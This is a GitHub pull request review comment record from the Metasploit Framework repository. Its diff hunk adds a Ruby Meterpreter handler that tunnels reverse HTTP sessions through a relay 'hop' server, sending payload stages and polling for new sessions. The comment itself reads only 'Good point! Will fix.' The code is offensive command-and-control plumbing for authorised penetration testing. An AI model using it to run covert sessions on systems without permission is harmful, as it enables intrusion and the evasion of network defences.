GitHub PullRequestReviewCommentEvent at 2014-01-03 23:10:08
Repository: metasploit-framework
Actor: scriptjunkie
Payload: {"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/8648189","id":8648189,"diff_hunk":"@@ -0,0 +1,277 @@\n+# -*- coding: binary -*-\n+require 'rex/io/stream_abstraction'\n+require 'rex/sync/ref'\n+require 'msf/core/handler/reverse_http'\n+require 'uri'\n+\n+module Msf\n+module Handler\n+\n+###\n+#\n+# This handler implements the HTTP hop tunneling interface.\n+# It acts like an HTTP server to the meterpreter packet dispatcher but\n+# as an HTTP client to actually send and receive the data from the hop.\n+#\n+###\n+module ReverseHopHttp\n+\n+  include Msf::Handler::ReverseHttp\n+\n+  @@hophandlers = {} # Keeps track of what hops have active handlers\n+\n+  #\n+  # Magic bytes to know we are talking to a valid hop\n+  #\n+  def magic\n+    'TzGq'\n+  end\n+\n+  #\n+  # Returns the string representation of the handler type\n+  #\n+  def self.handler_type\n+    return \"reverse_hop_http\"\n+  end\n+\n+  #\n+  # Returns the connection-described general handler type, in this case\n+  # 'tunnel'.\n+  #\n+  def self.general_handler_type\n+    \"tunnel\"\n+  end\n+\n+  #\n+  # Sets up a handler. Doesn't do much since it's all in start_handler.\n+  #\n+  def setup_handler\n+    self.handlers = {}\n+  end\n+\n+  #\n+  # Starts the handler along with a monitoring thread to handle data transfer\n+  #\n+  def start_handler\n+    uri = URI(full_uri)\n+    #Our HTTP client for talking to the hop\n+    self.mclient = Rex::Proto::Http::Client.new(\n+      uri.host,\n+      uri.port,\n+      {\n+        'Msf'        => framework\n+      }\n+    )\n+    #First we need to verify we will not stomp on another handler's hop\n+    if @@hophandlers.has_key? full_uri\n+      raise RuntimeError, \"Already running a handler for hop #{full_uri}.\"\n+    end\n+    @@hophandlers[full_uri] = self\n+    self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,\n+        self) do |uri, hophttp|\n+      control = \"#{uri.request_uri}control\"\n+      hophttp.control = control\n+      hophttp.send_new_stage(control) # send stage to hop\n+      @finish = false\n+      delay = 1 # poll delay\n+      until @finish and hophttp.handlers.empty?\n+        sleep delay\n+        delay = delay + 1 if delay < 10 # slow down if we're not getting anything\n+        crequest = hophttp.mclient.request_raw({'method' => 'GET', 'uri' => control})\n+        res = hophttp.mclient.send_recv(crequest) # send poll to the hop\n+        if res.error\n+          print_error(res.error)\n+          next\n+        end\n+\n+        # validate response\n+        received = res.body\n+        magic = hophttp.magic\n+        next if received.length < 12 or received.slice!(0, magic.length) != magic\n+\n+        # good response\n+        delay = 0 # we're talking, speed up\n+        urlen = received.slice!(0,4).unpack('V')[0]\n+        urlpath = received.slice!(0,urlen)\n+\n+        #received is now the binary contents of the message\n+        if hophttp.handlers.include? urlpath\n+          pack = Rex::Proto::Http::Packet.new\n+          pack.body = received\n+          hophttp.current_url = urlpath\n+          hophttp.handlers[urlpath].call(hophttp, pack)\n+        else\n+          #New session!\n+          conn_id = urlpath.gsub(\"/\",\"\")\n+          # Short-circuit the payload's handle_connection processing for create_session\n+          # We are the dispatcher since we need to handle the comms to the hop\n+          create_session(hophttp, {\n+            :passive_dispatcher => self,\n+            :conn_id            => conn_id,\n+            :url                => uri.to_s + conn_id + \"/\\x00\",\n+            :expiration         => datastore['SessionExpirationTimeout'].to_i,\n+            :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,\n+            :ssl                => false,\n+          })\n+          # send new stage to hop so next inbound session will get a unique ID.\n+          hophttp.send_new_stage(control)","path":"lib/msf/core/handler/reverse_hop_http.rb","position":117,"original_position":117,"commit_id":"4e9b4795e2a80e94c6a1afc1df690a4b65b48709","original_commit_id":"4e9b4795e2a80e94c6a1afc1df690a4b65b48709","user":{"login":"scriptjunkie","id":1174495,"avatar_url":"https://gravatar.com/avatar/f3e26c39d4f147451b98b47bff6ec150?d=https%3A%2F%2Fidenticons.github.com%2Fbf365c941102e622afb74f4f32843a12.png&r=x","gravatar_id":"f3e26c39d4f147451b98b47bff6ec150","url":"https://api.github.com/users/scriptjunkie","html_url":"https://github.com/scriptjunkie","followers_url":"https://api.github.com/users/scriptjunkie/followers","following_url":"https://api.github.com/users/scriptjunkie/following{/other_user}","gists_url":"https://api.github.com/users/scriptjunkie/gists{/gist_id}","starred_url":"https://api.github.com/users/scriptjunkie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/scriptjunkie/subscriptions","organizations_url":"https://api.github.com/users/scriptjunkie/orgs","repos_url":"https://api.github.com/users/scriptjunkie/repos","events_url":"https://api.github.com/users/scriptjunkie/events{/privacy}","received_events_url":"https://api.github.com/users/scriptjunkie/received_events","type":"User","site_admin":false},"body":"Good point! Will fix.","created_at":"2014-01-03T23:10:08Z","updated_at":"2014-01-03T23:10:08Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/2809#discussion_r8648189","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/2809","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/8648189"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/2809#discussion_r8648189"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/2809"}}}}